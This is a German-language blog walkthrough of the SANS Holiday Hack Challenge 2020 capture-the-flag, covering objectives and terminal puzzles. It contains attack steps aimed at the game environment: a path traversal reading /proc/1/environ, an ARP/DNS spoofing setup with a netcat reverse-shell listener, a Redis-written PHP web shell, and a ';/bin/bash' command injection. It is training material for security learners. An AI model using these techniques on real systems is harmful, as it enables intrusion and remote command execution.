SANS Holiday Hack Challenge 2020 Writeup

Vollständiger Walktrough

Posted on January 11, 2021

Einleitung

Zunächst einmal möchte ich den Machern dieses unglaublichen Events danken. Auch 2020 wurde hier wieder großartige Arbeit geleistet. Es ist jedes Jahr unfassbar wie packend und lehrreich das Ganze ist.

Dies ist eine Zusammenfassung meiner Lösung. Ich hoffe ich kann damit anderen helfen, die an bestimmten Stellen nicht weiter kommen. Ich empfehle die Aufgaben zunächst selbst versuchen zu lösen und wenn man dann mal nicht weiter kommt, dann kann man hierauf zurückgreifen.

Es gibt eine englische und deutsche Fassung dieses Textes welche aus mehr Informationen bestehen als die PDF, welche ich als Lösung abgegeben habe. Beide Blog-Beiträge sind inhaltlich identisch.

Überblick

Das Writeup ist so aufgebaut: Zunächst werden die Hauptobjektive erläutert. Danach kommen die einzelnen Terminal-Challenges. Du kannst allerdings auch zu den einzelnen Terminal-Challenges pro Raum über die folgende Karte springen, welche grob die Räumlichkeiten der Holiday Hack Challenge 2020 zusammenfasst:

teleport

Objectives

1 - Uncover Santa’s Gift List

Aufgabe

intro objective 1

Ort

Unterer Teil der Gondel

location objective 1

Mögliche Lösung

Man kann das Bild unter hochladen und mit dem Lasso die persönliche Geschenkliste auswählen. Danach wählt man im Menü unter “Filter”->”Distort”->”Twirl” um die Drehung rückgängig zu machen.

solution objective 1

Video Beschreibung unter https://player.vimeo.com/video/498406558”

Ergebnis ist dann:

Proxmark

2 - Investigate S3 Buckets

Aufgabe

intro objective 2

Ort

Eingang

location objective 2

Mögliche Lösung

Dem Talk Josh Wright, Open S3 Buckets: Still a Problem In 2020 https://www.youtube.com/watch?v=t4UzXx5JHk0&t=6m29s folgend kannst du das Projekt bucket_finder.rb innerhalb des Terminals nutzen. Die Wörterliste muss noch ergänzt werden wie im Video empfohlen. Hierfür gibt es einen Hinweis am Anfang:

hint objective 2

Das heißt du ergänzt die Wörterliste mit “wrapper3000”. Danach beginnt eine Abfolge von Entpackmechanismen die verwendet werden müssen. Doch zunächst muss der Base64-verschlüsselte String in eine Binärdatei gepackt werden:

cd bucket_finder
-> add wrapper3000 to wordlist
./bucket_finder.rb wordlist --download
(-> go into directory of downloaded package:)
cd wrapper3000
cat package
(seems to be a base64 encoded string)
echo -n 'UEsDBAoAAAAAAIAwhFEbRT8anwEAAJ8BAAAcABwAcGFja2FnZS50eHQuWi54ei54eGQud
GFyLmJ6MlVUCQADoBfKX6AXyl91eAsAAQT2AQAABBQAAABCWmg5MUFZJlNZ2ktivwABHv+Q3hASgGSn//AvBx
Dwf/xe0gQAAAgwAVmkYRTKe1PVM9U0ekMg2poAAAGgPUPUGqehhCMSgaBoAD1NNAAAAyEmJpR5QGg0bSPU/VA
0eo9IaHqBkxw2YZK2NUASOegDIzwMXMHBCFACgIEvQ2Jrg8V50tDjh61Pt3Q8CmgpFFunc1Ipui+SqsYB04M/
gWKKc0Vs2DXkzeJmiktINqjo3JjKAA4dLgLtPN15oADLe80tnfLGXhIWaJMiEeSX992uxodRJ6EAzIFzqSbWt
nNqCTEDML9AK7HHSzyyBYKwCFBVJh17T636a6YgyjX0eE0IsCbjcBkRPgkKz6q0okb1sWicMaky2Mgsqw2nUm
5ayPHUeIktnBIvkiUWxYEiRs5nFOM8MTk8SitV7lcxOKst2QedSxZ851ceDQexsLsJ3C89Z/gQ6Xn6KBKqFsK
yTkaqO+1FgmImtHKoJkMctd2B9JkcwvMr+hWIEcIQjAZGhSKYNPxHJFqJ3t32Vjgn/OGdQJiIHv4u5IpwoSG0
lsV+UEsBAh4DCgAAAAAAgDCEURtFPxqfAQAAnwEAABwAGAAAAAAAAAAAAKSBAAAAAHBhY2thZ2UudHh0Lloue
HoueHhkLnRhci5iejJVVAUAA6AXyl91eAsAAQT2AQAABBQAAABQSwUGAAAAAAEAAQBiAAAA9QEAAAAA' | ba
se64 --decode > file
unzip file
bzip2 -d package.txt.Z.xz.xxd.tar.bz2
tar -xvf package.txt.Z.xz.xxd.tar
xxd -r package.txt.Z.xz.xxd > todecompr
ess.xz
xz -d todecompress.xz
mv todecompress package.txt.Z
uncompress package.txt.Z
cat package.txt
North Pole: The Frostiest Place on Earth

Daraus ergibt sich die Lösung:

North Pole: The Frostiest Place on Earth

3 - Point-of-Sale Password Recovery

Aufgabe

intro objective 3

Ort

Innenhof

location objective 3

Mögliche Lösung

Zunächst musst du die Daten der Datei extrahieren.

Eine Lösung ist unar zu verwenden um an die Ressourcen der Datei santa-shop.exe zu kommen. Hier befindet sich unter einem Verzeichnis mit Unicode-Zeichen ein Archiv app-64.7z.

location objective 3

Wenn man dieses Archiv mit 7z entpackt kommst du an eine app.asar, die in einem Format für Electron Apps gepackt ist. Dieses Format kann mit asar wiederum entpackt werden. Das Github Projekt hierzu findet sich unter https://github.com/electron/asar

location objective 3

In app/main.js befindet sich dann das gesucht Passwort:

unar santa-shop.exe
(yields to:
.
./?肚
./?肚/nsProcess.dll
./?肚/System.dll
./?肚/nsExec.dll
./?肚/SpiderBanner.dll
./?肚/StdUtils.dll
./?肕
./?肕/Uninstall santa-shop.exe
./?肕/?肚
./?肕/?肚/app-64.7z
./?肕/?肚/System.dll
./?肕/?肚/nsis7z.dll
./?肕/?肚/StdUtils.dll
./?肕/?肚/WinShell.dll
)
mkdir 7zdecompress
cd $'\003肕'
cd $'\003'肚
cp app-64.7z ../../../7z_decompress
cd ../../../7z_decompress
7z x app-64.7z
cd resources
mkdir ../../asar_decompress
cp app.asar ../../asar_decompress
asar extract app.asar
vim app/main.js
(look at 
const SANTA_PASSWORD = 'santapass')

Video Beschreibung unter https://player.vimeo.com/video/498544421

Lösung:

santapass

4 - Operate the Santavator

Aufgabe

intro objective 4

Ort

Lobby

Door Santavator with Sparkle Inside Santavator


Mögliche Lösung

Deine Aufgabe ist es den Super Santavator Sparkle Stream im Aufzug zum Laufen zu bekommen. Sparkle Redberry direkt neben dem Eingang gibt dir den Schlüssel. Danach kannst du im Aufzug unter das Panel schauen. Dort gilt es den Strom farblich zu den richtigen Aufnahmekontakten zu bekommen. Für den Betrieb nutzte ich alle auffindbaren Teile. Diese befinden sich im Spiel verteilt - zumeist auf dem Boden.

So findet sich die gelbe Glühbirne in der Netwars Etage und Automat im Raum links neben den Vortragslobby enthält die Portals.

Objective 4 example place yellow bulb

Beispielplatz gelbe Glühbirne

Insgesamt habe ich eingesammelt:

Teil Bild
Broken Candycane Broken Candycane
Aufzug Etage 1.5 Knopf Door Santavator
Aufzug Betriebsschlüssel Door Santavator
Grüne Glühbirne Item Green Bulb
Rote Glühbirne Item Red Bulb
Gelbe Glühbirne Item Yellow Bulb
2 Sechskantmuttern Item Hex Nut
Große Murmel Item Large Marble
Gummiball Item Rubber Ball
Portals Item Portals

Meine finale Konstellation sah dann so aus:

solution objective 4

Video Beschreibung unter https://player.vimeo.com/video/498749785

5 - Open HID Lock

Aufgabe

intro objective 5

Ort

Workshop

intro objective 5

Mögliche Lösung

Zunächst musst du den Proxmark finden. Danach kannst du die CLI verwenden um Karten auszulesen. Hilfreich ist hier der Talk von Larry Pesce https://www.youtube.com/watch?v=647U85Phxgo und das Cheat Sheet https://gist.github.com/joswr1ght/efdb669d2f3feb018a22650ddc01f5f2:

item objective 5

Zunächst gehe zu Elfen und führe folgendes aus (jeweils direkt neben sie stellen). Ich bin hierbei die Liste der bislang bekannten aus dem Chat durchgegangen:

lf hid read

Ich konnte folgende auslesen:

# Noel Boetie
pm3 --> lf hid read
#db# TAG ID: 2006e22ee1 (6000) - Format Len: 26 bit - FC: 113 - Card: 6000

# Bow Ninecandle
pm3 --> lf hid read
#db# TAG ID: 2006e22f0e (6023) - Format Len: 26 bit - FC: 113 - Card: 6023

# Sparkle Redberry
pm3 --> lf hid read
#db# TAG ID: 2006e22f0d (6022) - Format Len: 26 bit - FC: 113 - Card: 6022

# Holly Evergreen
pm3 --> lf hid read
#db# TAG ID: 2006e22f10 (6024) - Format Len: 26 bit - FC: 113 - Card: 6024

# Shinny Upatree
pm3 --> lf hid read
#db# TAG ID: 2006e22f13 (6025) - Format Len: 26 bit - FC: 113 - Card: 6025

Anwenden der Karte von Shinny Upatree öffnete dann die Tür:

solution objective 5

6 - Splunk Challenge

Aufgabe

intro objective 6

questions objective 6

Ort

Esszimmer

intro objective 5

Mögliche Lösung

Trainingsfrage 1

How many distinct MITRE ATT&CK techniques did Alice emulate?

Du kannst folgenden Befehl nutzen um die verschiedenen Techniken anzeigen zu lassen:

| tstats count where index=* by index

dann zähle das Ergebnis:

Step 1 objective 6 training question 1

Wenn du es exakt haben willst kannst du die Anzahl auch folgendermaßen finden:

| tstats count where index=* by index 
| search index=T*-win OR T*-main
| rex field=index "(?<technique>t\d+)[\.\-].0*" 
| stats dc(technique)

Wenn Du als Weihnachtsmann eingeloggt bist kannst du das Ergebnis über folgenden Link überprüfen: https://splunk.kringlecastle.com/de-DE/app/SA-kringleconsoc/search?sid=1608682982.3730

Lösung:

13

Trainingsfrage 2

What are the names of the two indexes that contain the results of emulating Enterprise ATT&CK technique 1059.003? (Put them in alphabetical order and separate them with a space)

Nutzend den gleichen Befehl wie zuvor:

| tstats count where index=* by index

Objective 6 traininq question 2 solution

Lösung:

t1059.003-main t1059.003-win

Trainingsfrage 3

One technique that Santa had us simulate deals with ‘system information discovery’. What is the full name of the registry key that is queried to determine the MachineGuid?

index=t1082-win MachineGuid

Lösung:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography

Trainingsfrage 4

According to events recorded by the Splunk Attack Range, when was the first OSTAP related atomic test executed? (Please provide the alphanumeric UTC timestamp.)

index=attack OSTAP

Lösung:

2020-11-30T17:44:15Z

Trainingsfrage 5

One Atomic Red Team test executed by the Attack Range makes use of an open source package authored by frgnca on GitHub. According to Sysmon (Event Code 1) events in Splunk, what was the ProcessId associated with the first use of this component?

Zuerst kannst du dich über

*audio* index=t1123-*

nähern.

Wenn du “frgnca GitHub” googlest bringt das dich zu:

https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1123/T1123.md

Diese Information ausnutzend ergibt:

*WindowsAudioDevice-Powershell-Cmdlet* (index=t1123-* OR index=attack) source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
| highlight process

https://splunk.kringlecastle.com/de-DE/app/SA-kringleconsoc/search?sid=1608724817.299

Lösung:

3648

Trainingsfrage 6

Alice ran a simulation of an attacker abusing Windows registry run keys. This technique leveraged a multi-line batch file that was also used by a few other techniques. What is the final command of this multi-line batch file used as part of this simulation?

Zunächst einmal habe ich geschaut wann welche Batch-Dateien erzeugt wurden. Das kann man über den Sysmon EventCode 11 in Windows abfragen (vgl. https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=90011)

index=* *.bat EventCode=11
| stats values(TargetFilename)

objective 6 training question 6 step 1

Der Talk von Dave Herrald / Splunk geht auf ein Github Projekt von Atomic Red Team ein https://www.youtube.com/watch?v=RxVgEFt08kU&t=13m41s.

Dieses Projekt kann genutzt werden um die Themen des Mitre Att&ck-Frameworks zu simulieren.

Aus der Frage geht hervor, dass Windows Registry Run Keys missbrauch wurden. Also nutzte ich als Startpunkt: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1547.001/T1547.001.md

In der Beschreibung auf dieser Seite sind 2 Batch-Dateien zu finden: Discovery.bat und batstartup.bat.

Die Frage weist weiterhin darauf hin, dass die Batch-Datei auch in anderen Techniken eingesetzt wurde.

Wenn du im Github-Projekt nach batstartup.bat suchst findest du es nur in einer Technik verwendet im Gegensatz zu Discovery.bat (Vorsicht Virenscanner schlagen bei den Payloads beim Clonen ebenfalls an):

git clone https://github.com/redcanaryco/atomic-red-team.git

objective 6 training question 6 step 3

Öffnest du nun Discovery.bat kannst du den letzten Befehl entnehmen.

Videobeschreibung auf https://player.vimeo.com/video/499148292

Lösung:

quser

Trainingsfrage 7

According to x509 certificate events captured by Zeek (formerly Bro), what is the serial number of the TLS certificate assigned to the Windows domain controller in the attack range?

Zunächst nutze den Hinweis aus dem Chat:

objective 6 training question 7 step 1

Als Ergebnis bekommst du einige Einträge für das Feld certificate.subject.

Diese kannst du nutzen um den Domain Controller zu bestimmen und zu analysieren:

index=* sourcetype=bro* "certificate.subject"="CN=win-dc-748.attackrange.local"

das Feld certificate.serial liefert dann die gesuchte Seriennummer.

Videobeschreibung auf https://player.vimeo.com/video/499139051

https://splunk.kringlecastle.com/de-DE/app/SA-kringleconsoc/search?sid=1610234674.1091

Lösung:

55FCEEBB21270D9249E86F4B9DC7AA60

Challengeaufgabe

What is the name of the adversary group that Santa feared would attack KringleCon?

Du bekommst im Chat, nachdem du Frage 7 gelöst hast, einen Base64-String:

7FXjP1lyfKbyDK/MChyf36h7

Ein Hinweis auf RC4 brachte mich dazu diesen Algorithmus auf den Base64-String anzuwenden:

Den Schlüssel “Stay Frosty” erhältst Du aus dem Talk https://www.youtube.com/watch?v=RxVgEFt08kU&t=18m30s

Für den Algorithmus verwendete ich https://stackoverflow.com/questions/29607753/how-to-decrypt-a-file-that-encrypted-with-rc4-using-python.

Füge hier als

` `7FXjP1lyfKbyDK/MChyf36h7` ein. Daraus ergibt sich dann:
cat rc4-decode.py
import base64

data = base64.b64decode("7FXjP1lyfKbyDK/MChyf36h7")
key = "Stay Frosty"

S = range(256)
j = 0
out = []

#KSA Phase
for i in range(256):
    j = (j + S[i] + ord( key[i % len(key)] )) % 256
    S[i] , S[j] = S[j] , S[i]

#PRGA Phase
i = j = 0
for char in data:
    i = ( i + 1 ) % 256
    j = ( j + S[i] ) % 256
    S[i] , S[j] = S[j] , S[i]
    out.append(chr(ord(char) ^ S[(S[i] + S[j]) % 256]))

print ''.join(out)
Das Ergebnis bekommst Du dann mit (Achtung python 2 !)
python rc4-decode
The Lollipop Guild
Lösung: **The Lollipop Guild** ## 7 - Solve the Sleigh's CAN-D-Bus Problem ### Aufgabe Introduction objective 7 ### Ort Netwars location objective 7 ### Mögliche Lösung Um herauszufinden, was schief läuft versuche zu verstehen welche ID Codes was bedeuten. Dafür erstellte ich eine Tabelle mit IDs zu Werte / Wertebereichen. Dann betätige die einzelnen Möglichkeiten und werte die Veränderungen in der Ausgabe. Um die Daten leicht zu erfassen kannst du ein Screenshot-Tool verwenden, das den Bildschirm einfriert. Die Screenshots kannst du dann auch verwenden um leichter die Veränderungen innerhalb der IDs zu beobachten. Das ergab: | ID Code | System | Value(s) | |:-------:|:-------------:|:------------------------------------------:| | 244 | Beschleuniger | | | 02A | Start Stop | 00FF00 | | 019 | Steuerung | In Hex , negative Werte im Einerkomplement | | 080 | Bremsen | in hex | | 198 | (Un)Lock Tür | Lock:00000000 Unlock: 000F000000 | Am Ende ergab meine Analyse folgenden Filter: - 080 Less 000000 - 19B Equals F2057 objective 7 solution ## 8 - Broken Tag Generator ### Aufgabe Introduction objective 8 ### Ort Wrapping Room location objective 8 ### Mögliche Lösung Zunächst enumeriere die Seite:
dirsearch.py -u https://tag-generator.kringlecastle.com/ -e all
501 ist der HTTP Statuscode für: "The server does not support the functionality required to fulfill the request" Wenn du dir die HTML-Rückmeldung anschaust erhältst du: ``` curl -k -s -L https://tag-generator.kringlecastle.com/image

Something went wrong!

Error in /app/lib/app.rb: ID is missing!

``` Dem kommen wir nach und liefern eine ID mit: ``` curl -k -s -L https://tag-generator.kringlecastle.com/image\&id\=1

Something went wrong!

Error in /app/lib/app.rb: Route not found

``` Ok, du hast nun eine ID-Variable. Versuche einen Path-Traversal-Angriff durchzuführen. objective 8 step 2 check path traversal Damit erhälst du Zugriff auf den Code. Um die Umgebungsvariablen zu lesen, kannst Du Folgendes verwenden:
curl -k -s -L -O 'https://tag-generator.kringlecastle.com/image?id=../../../../../../../../../../../../../../../proc/1/environ'
cat environ                                                            
PATH=/usr/local/bundle/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=cbf2810b7573RUBY_MAJOR=2.7RUBY_VERSION=2.7.0RUBY_DOWNLOAD_SHA256=27d350a52a02b53034ca0794efe518667d558f152656c2baaf08f3d0c8b02343GEM_HOME=/usr/local/bundleBUNDLE_SILENCE_ROOT_WARNING=1BUNDLE_APP_CONFIG=/usr/local/bundleAPP_HOME=/appPORT=4141HOST=0.0.0.0GREETZ=JackFrostWasHereHOME=/home/app
während der Wert in
proc/x/environ
ein anderer sein könnte. Beginne am Besten von 1 hochzuzählen. Du musst `-O` oder` --output -` verwenden, da curl eine Binärdatei als Response annimmt.

Video description at https://player.vimeo.com/video/499007090

Lösung: **JackFrostWasHere** ## 9 - ARP Shenanigans ### Aufgabe Introduction objective 9 ### Ort NetWars location objective 8 #### Mögliche Lösung Erzeuge 5 tmux-Fenster (Ctrl+B C). Erstes tmux-Fenster:
tcpdump -nn -i any
Zweites tmux-Fenster:
cd scripts
:> dns_resp.py
:> arp_resp.py
vim dns_resp.py
:set paste
(-> auf deinem System: cat dns_resp.py | xclip -sel clip 
 -> paste dns_resp.py into this file)
:wq!
vim arp_resp.py
:set paste
(-> auf deinem System: cat arp_resp.py | xclip -sel clip
 -> paste arp_resp.py into this file)
chmod u+x *.py
cd ..
vim cdb.sh
:set paste
(-> auf deinem System: cat create_deb_malware.sh | xclip -sel clip)
 -> paste this into cdb.sh)
:wq!
chmod u+x cdb.sh
./cdb.sh
Drittes tmux-Fenster:
cd scripts/
./dns_resp.py
Viertes tmux-Fenster:
nc -nlvp 8080
Fünftes tmux-Fenster:
cd scripts/
./arp_resp.py
Viertes tmux-Fenster: Eine Reverse-Shell sollte erzeugt worden sein.
python3 -c "import pty; pty.spawn("/bin/bash")'
cat NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt | less

Videobeschreibung unter https://player.vimeo.com/video/499182451

Lösung: **Tanta Kringle** ## 10 - Defeat Fingerprint Sensor ### Aufgabe Introduction objective 10 ### Ort Santavator ### Mögliche Lösung Setze einen Breakpoint und füge das Token 'besanta' hinzu um den Fingerabdrucksensor zu umgehen:

Videobechreibung unter https://player.vimeo.com/video/499151055

## 11a - Naughty / Nice List with Blockchain Part 1 ### Aufgabe Introduction objective 11a ### Ort Santa's Office location objective 8 ### Mögliche Lösung In dieser Aufgabe ging es darum ähnlich wie in der [Snowball Fight Terminal Challenge](https://secf00tprint.github.io/blog/hhc/2020/writeup/de#snowball-fight) den Zustand des Pseudozufallsgenerators aus bislang bekannten Zufallszahlen herzustellen und dann die nächsten Zahlen zu berechnen um letztendlich die Nonce an Block 130000 zu berechnen.
cat analyze_nonces.py
import random
from mt19937predictor import MT19937Predictor

foundrands=[]

foundrands_624 = foundrands[-624:]

predictor = MT19937Predictor()

for idx in range(624):
    print(foundrands_624[idx])
    predictor.setrandbits(foundrands_624[idx],64)

print("last known index: 129996")

print("129997", predictor.getrandbits(64))
print("129998", predictor.getrandbits(64))
print("129999", predictor.getrandbits(64))
print("130000", predictor.getrandbits(64))
`foundrands=[]` muss mit den Nonces aus der Blockchain befüllt werden.
python3 analyze_nonces.py
``` ... 2538543693281192206 15896979806300748684 14120612108965687512 12584682685351616622 9757567714176531656 15788575260498756374 18132891387785279449 5643972521975276755 12288628311000202778 14033042245096512311 9999237799707722025 7556872674124112955 16969683986178983974 last known index: 129996 129997 13205885317093879758 129998 109892600914328301 129999 9533956617156166628 130000 6270808489970332317 ``` Am Ende berechnest du noch den Hex-Wert. Das Ganze zusammengefasst ist dann: Wer kein `xclip` verwenden kann, kann `| xclip -sel clip` entfernen und das copy-paste manuell durchführen.
var=$(python3 naughty_nice.py);(echo -n "["; for i in $(tail -n +2 <(echo ${var##*Nonces==})); do echo -n "$i"",";done; echo -n "]") | xclip -sel clip
(-> copied var into array of analyze_nonces.py)
python3 analyze_nonces.py | tail -n 1|awk '{print $2}'
echo 'obase=16;;6270808489970332317'|bc
Lösung: **57066318F32F729D** ## 11b - Naughty / Nice List with Blockchain Part 2 ### Mögliche Lösung Füge nach der Funktion `full_hash` eine Funktion` full_hash_SHA256` wie folgt hinzu, sodass du die SHA256-Hashes der Blöcke berechnen kannst:
...

     def full_hash(self):
         hash_obj = MD5.new()
         hash_obj.update(self.block_data_signed())
         return hash_obj.hexdigest()

     def full_hash_SHA256(self):
         hash_obj = SHA256.new()
         hash_obj.update(self.block_data_signed())
         return hash_obj.hexdigest()

     def hash_n_sign(self):
         hash_obj = MD5.new()
         
...
und gebe sie aus:
if __name__ == '__main__':
    with open('official_public.pem', 'rb') as fh:
        official_public_key = RSA.importKey(fh.read())
    c2 = Chain(load=True, filename='blockchain.dat')
    for block in c2.blocks:
        print(block.index, block.full_hash_SHA256())
Dann identifiziere den Block mittels:
python3 naughty_nice.py|grep '58a3b9335a6ceb0234c12d35a0564c4ef0e90152d0eb2ce2082383b38028a90f'
129459 58a3b9335a6ceb0234c12d35a0564c4ef0e90152d0eb2ce2082383b38028a90f
Speichere diesen Block in `tohash`. Kopiere `tohash` in `tohash.old`:
cp tohash tohash.old
Extrahiere alle Dokumente des Blocks - verändere `naughty_nice.py` zu:

     ...
     for block in c2.blocks:
         if block.index == 129459:
             for i in range(block.doc_count):
                 block.dump_doc(i+1)
     ...

und führe es aus
python3 naughty_nice.py
Um den gleichen Hash zu erzeugen suchen wir Paare die jeweils um +1 -1 verändert wurden. Das erste Byte ist im PDF. Jack Frost hat ein anderes Objekt referenziert sodass ein anderer Text angezeigt wird. Anhand des Original-Textes kannst du identifizieren, dass er auch das Vorzeichen der Naughtyness/Niceness-Score für diesen Block verändert hat. Nach dem empfohlenen Talk wissen wir, dass 64 Bytes nach der jeweiligen Änderung der Gegenpart sich zu befinden hat. Ändere die Bytes in `tohash` entsprechend und überprüfe mit `md5sum tohash` ob es den gleichen Hash `b10b4a6bd373b61f32f4fd3a0cdfbf84` hat.
vbindiff tohash tohash.old
Step 1 objective 11b Wenn ja berechne den neuen SHA256-Hash hiervon. ## Ende des Spiels Gehe zurück durch das Bild und dann umgehe den Fingerabdruck-Sensor um in Santa's Büro zu kommen. Dort gehe in das hintere Zimmer. # Terminal Challenges ## Entry ### Unescape tmux
tmux attach
### Kringle Kiosk Enter 4 and then `;/bin/bash` ## Dining Room ### Elf Coder #### Level 0
elf.moveTo(lollipop[0])
elf.moveUp(10)
#### Level 1
elf.moveTo(lever[0])
elf.pull_lever(elf.get_lever(0) + 2)
elf.moveLeft(4)
elf.moveUp(10)
#### Level 2
lollipop.forEach(function(item) {
    elf.moveTo(item)
})
elf.moveUp(1)
#### Level 3
for (rounds =1; rounds <= 5; rounds++) {
    elf.moveLeft(3);
    if (rounds % 2 == 1) elf.moveUp(11);
    else elf.moveDown(11);
}
#### Level 4
let numbersOnly = (val) => {
    if (typeof(val) == 'number') {
        return val;
    }
}
numbers = elf.ask_munch(0).filter(numbersOnly);
elf.moveTo(lollipop[1])
elf.moveTo(lollipop[0])
#### Level 5
let numbersOnly = (val) => {
  if (typeof(val) == 'number') {
    return val;
  }
}
numbers = elf.ask_munch(0).filter(numbersOnly);
elf.moveTo(lollipop[1])
elf.moveTo(lollipop[0])
elf.tell_munch(numbers)
elf.moveUp(2)
#### Level 6
for (rounds = 0; rounds <= 3; rounds++) {
  elf.moveTo(lollipop[rounds])
}
elf.moveTo(lever[0])
arr = elf.get_lever(0)
arr.unshift("munchkins rule")
elf.pull_lever(arr)
elf.moveTo(munchkin[0])
elf.moveUp(2)
#### Level 7
function fun(arr) {
  let amount = 0;
  arr.forEach(function(item) {
    item.forEach(function(inneritem) {
      if (typeof inneritem === "number") amount = amount + inneritem
    });
  });
  return amount
}
for (round = 0; round <= 7; round++) {
  if (round % 4 == 0)
    elf.moveDown(round + 1)
  if (round % 4 == 1)
    elf.moveLeft(round + 1)
  if (round % 4 == 2)
    elf.moveUp(round + 1)
  if (round % 4 == 3)
    elf.moveRight(round + 1)
  elf.pull_lever(round)
}
elf.moveUp(2);elf.moveLeft(4);
elf.tell_munch(fun)
elf.moveUp(2);
#### Level 8
function getLolKeyFromJson(jsonData) {
  returnValue = ""
  jsonData.forEach(function(item) {
    for (key in item) {
      if (item[key] == "lollipop") returnValue = key.toString()
    }
  })
  return returnValue
}

var moveSteps = 1
var leverSum = 0
for (leverNr = 0; leverNr <= 5; leverNr++) {
  if ((leverNr % 2) == 0) elf.moveRight(moveSteps)
  else elf.moveLeft(moveSteps)

  moveSteps = moveSteps + 2
  leverSum = leverSum + elf.get_lever(leverNr)
  elf.pull_lever(leverSum)
  elf.moveUp(2)
}
elf.tell_munch(getLolKeyFromJson)
elf.moveRight(11)
## Kitchen ### 33.6 Kbps Mit Trial-and-Error: Nu = Numbers be = baaDeebrr WE = WEwwee SC = SCHHRR aa = aaah ba = baaDEERR x Nu-ba-WE-SC -> Hang up at WE x Nu-aa-ba-WE-SC -> Hang up at aa x Nu-ba-aa-WE-SC -> Hang up at SC Am Ende hat **Nu-ba-aa-WE-be-SC** funktioniert ### Redis Investigation Nutzend
alias urlencode
urlencode=$'python3 -c "import sys, urllib.parse as ul; \\\n    print (ul.quote_plus(sys.argv[1]))"'

urlencode '"<?php system($_GET['cmd']);?>"'                      
%22%3C%3Fphp+system%28%24_GET%5Bcmd%5D%29%3B%3F%3E%22
curl http://localhost/maintenance.php?cmd=config,set,dir,/var/www/html
curl http://localhost/maintenance.php?cmd=config,set,dbfilename,rce.php
curl http://localhost/maintenance.php?cmd=set,test,%22%3C%3Fphp+system%28%24_GET%5Bcmd%5D%29%3B%3F%3E%22
curl http://localhost/maintenance.php?cmd=save
solution terminal challenge redis

Videobeschreibung unter https://player.vimeo.com/video/499403897

## Courtyard ### Linux Primer
yes
ls
cat munchkin_19315479765589239
rm munchkin_19315479765589239
pwd
ls -lah
history
env
cd workshop/
grep -i "munch" *.txt
ls loll*
chmod u+x lollipop_engine
./lollipop_engine
cd electrical/
mv blown_fuse0 fuse0
ln -s fuse0 fuse1 
cp fuse1 fuse2
echo "MUNCHKIN_REPELLENT" >> fuse2
find /opt/munchkin_den munchkin
find /opt/munchkin_den -user munchkin
find /opt/munchkin_den -size +108k -size -110k
ps -aux
netstat -nltp
curl 127.0.0.1:54321
kill 6086

Videobeschreibung unter https://player.vimeo.com/video/499139051

## Workshop ### Sort-o-matic Regex Game Zum Lösen dieser Aufgabe gehe auf https://regex101.com/. Dort stehen auch nützliche Tipps für die Syntax. Gebe für jeden Fall Testdaten ein. Du kannst mit einem einfachen beginnen und dich dann so der letztendlichen Regex nähern. Beispiel letzter Fall: >Matches multiple day, month, and year date formats only Stimmt nur überein mit mehreren Tag, Monat, und Jahr-Formaten Dann habe ich angefangen mit dem Testfall `10/10/1978` und der Regex `10\/10\/1978`. Dann überlegt wo können welche Zahlen stehen etwa ein Tag kann etwa mit `0` oder `1` beginnen also: `(0|1)0\/10\/1978` usw. 1. `\d` 2. `[a-zA-Z][a-zA-Z][a-zA-Z]` 3. `[a-z0-9][a-z0-9]` 4. `[^A-L1-5][^A-L1-5]` 5. `^\d{3,}$` 6. `^([01]?\d|2[0-3]):([0-5]\d):([0-5]\d)+$` 7. `^([0-9A-Fa-f]{2}[:]){5}([0-9A-Fa-f]{2})$` 8. `^((0[0-9]|1[0-9]|2[0-9]|3[0-1])[\/\.\-](0[1-9]|1[0-2])[\/\.\-][0-1][0-9][0-9][0-9])$`

Video description at https://player.vimeo.com/video/499540767

## Talks Lobby ### Speaker UNPrep #### Door #### Lights Bushy Evergreen gibt den Tipp > What if we set the user name to an encrypted value und das machen wir!
cd lab/
vim lights.conf
(-> Verändere elf-technician zu dem Passwort eine Zeile drüber
 -> Speichere die Datei)
./lights
(-> Entnehme das Passwort hinter "Welcome back,"
 -> "Computer-TurnLightsOn")
cd ..
./lights
(-> Gib das Passwort ein)
Lösung: **Computer-TurnLightsOn** #### Automat Wenn du die Datei `vending-machines.json` löschst, so wird beim Starten von `./vending_machines` eine neue Datei erstellt. Diese Datei enthält dann das neu festgelegte verschlüsselte Passwort. Das kann für einen Known-Plaintext Angriff genutzt werden. Wir können jetzt nämlich schauen welches verschlüsselte Passwort bei welchem eingegebenen Klartext entsteht. Ich habe zunächst damit begonnen `A` einzugeben, was ein `X` ergibt. Dann `AA` woraus `Xi` folgt, `B` mit `D` und schließlich `BA` was `Di` ergibt. Daraus schloss ich das es sich um eine polyalphabetische Verschlüsselung handelt. Das heißt bei jeder Position im Passwort sind die Buchstaben anderen Buchstaben zugeordnet. Das kannst du nun knacken in dem du jeden Buchstaben durchprobierst und mit dem eigentlichen verschlüsselten Passwort vergleichst. ### Snowball Fight Starte Snowball im Spiel und parallel in einem separaten Browserfenster unter https://snowball2.kringlecastle.com Beginne im Spiel mit einer "Impossible"- und im separaten Browser-Tab mit einer "Easy"-Session. Innerhalb des Source-Codes in der "Impossible"-Session sind Zufallszahlen in Kommentaren ausgegeben. Diese verwendest du um die Zufallszahl in dieser Session zu bestimmen, die derzeit nicht angezeigt wird ("Redacted"). Dafür stellst du den Zustand des Mersenne Twister vor der Berechnung der Zahl aus den Zahlen her. -> Kopiere die Kommentarblöcke heraus -> `./createrandarr.sh` -> Setze die Variable foundrands in `mt19937_adapted.py` durch Paste und passe das Array an, sodass es funktioniert -> `python3 mt19937_adapted.py` das gibt die Zufallszahl aus Verwende nun diese Zufallszahl in der "Easy"-Session so lange bis zu das Spiel gelöst hast. Nun kannst du mit diesem Wissen die "Impossible"-Session lösen.
cat createrandarr.sh
:
#! /bin/bash
comments=$(tail -n +2 <(head -n -2 <(xclip -o -sel clip)))
(echo -n "["; for i in $(echo "$comments"|awk '{print $1}'); do echo -n $i","; done; echo -n "]") | xclip -sel clip
Ohne `xclip` könnten die Daten über den Umweg einer Datei manuell kopiert und dann von dort zu einem Array zusammengesetzt werden.
cat mt19937_adapted.py
:
#!/usr/bin/env python3

foundrands= # to fill
class mt19937():
u, d = 11, 0xFFFFFFFF
